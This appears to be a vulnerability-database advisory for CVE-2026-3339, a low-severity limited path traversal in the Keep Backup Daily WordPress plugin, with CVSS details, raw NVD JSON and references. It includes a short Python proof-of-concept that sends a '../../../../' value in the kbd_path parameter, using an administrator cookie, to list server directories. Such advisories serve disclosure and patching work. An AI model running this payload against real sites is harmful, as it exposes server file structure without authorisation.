Security Vulnerability Report
中文
CVE-2026-3339 CVSS 2.7 LOW

CVE-2026-3339

Published: 2026-03-21 00:16:28
Last Modified: 2026-04-22 21:32:08

Description

The Keep Backup Daily plugin for WordPress is vulnerable to Limited Path Traversal in all versions up to, and including, 2.1.1 via the `kbd_open_upload_dir` AJAX action. This is due to insufficient validation of the `kbd_path` parameter, which is only sanitized with `sanitize_text_field()` - a function that does not strip path traversal sequences. This makes it possible for authenticated attackers, with Administrator-level access and above, to list the contents of arbitrary directories on the server outside of the intended uploads directory.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Keep Backup Daily <= 2.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This script requires a valid administrator session cookie target_url = "http://example.com/wp-admin/admin-ajax.php" admin_cookie = "wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxx" # The vulnerable action and parameter payload_data = { "action": "kbd_open_upload_dir", "kbd_path": "../../../../" # Attempt to list the root directory or system folders } headers = { "Cookie": admin_cookie, "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: response = requests.post(target_url, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Request successful. Potential directory listing found:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3339", "sourceIdentifier": "[email protected]", "published": "2026-03-21T00:16:27.627", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Keep Backup Daily plugin for WordPress is vulnerable to Limited Path Traversal in all versions up to, and including, 2.1.1 via the `kbd_open_upload_dir` AJAX action. This is due to insufficient validation of the `kbd_path` parameter, which is only sanitized with `sanitize_text_field()` - a function that does not strip path traversal sequences. This makes it possible for authenticated attackers, with Administrator-level access and above, to list the contents of arbitrary directories on the server outside of the intended uploads directory."}, {"lang": "es", "value": "El plugin Keep Backup Daily para WordPress es vulnerable a salto de ruta limitado en todas las versiones hasta la 2.1.1, inclusive, a través de la acción AJAX 'kbd_open_upload_dir'. Esto se debe a una validación insuficiente del parámetro 'kbd_path', que solo se sanea con 'sanitize_text_field()', una función que no elimina secuencias de salto de ruta. Esto hace posible que atacantes autenticados, con acceso de nivel de Administrador y superior, listen el contenido de directorios arbitrarios en el servidor fuera del directorio de subidas previsto."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/keep-backup-daily/tags/2.1.1/inc/functions.php#L855", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/keep-backup-daily/tags/2.1.1/inc/functions.php#L871", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/keep-backup-daily/trunk/inc/functions.php#L855", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3481587%40keep-backup-daily&new=3481587%40keep-backup-daily&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/01984754-e332-4500-99a2-10a7b79967f5?source=cve", "source": "[email protected]"}]}}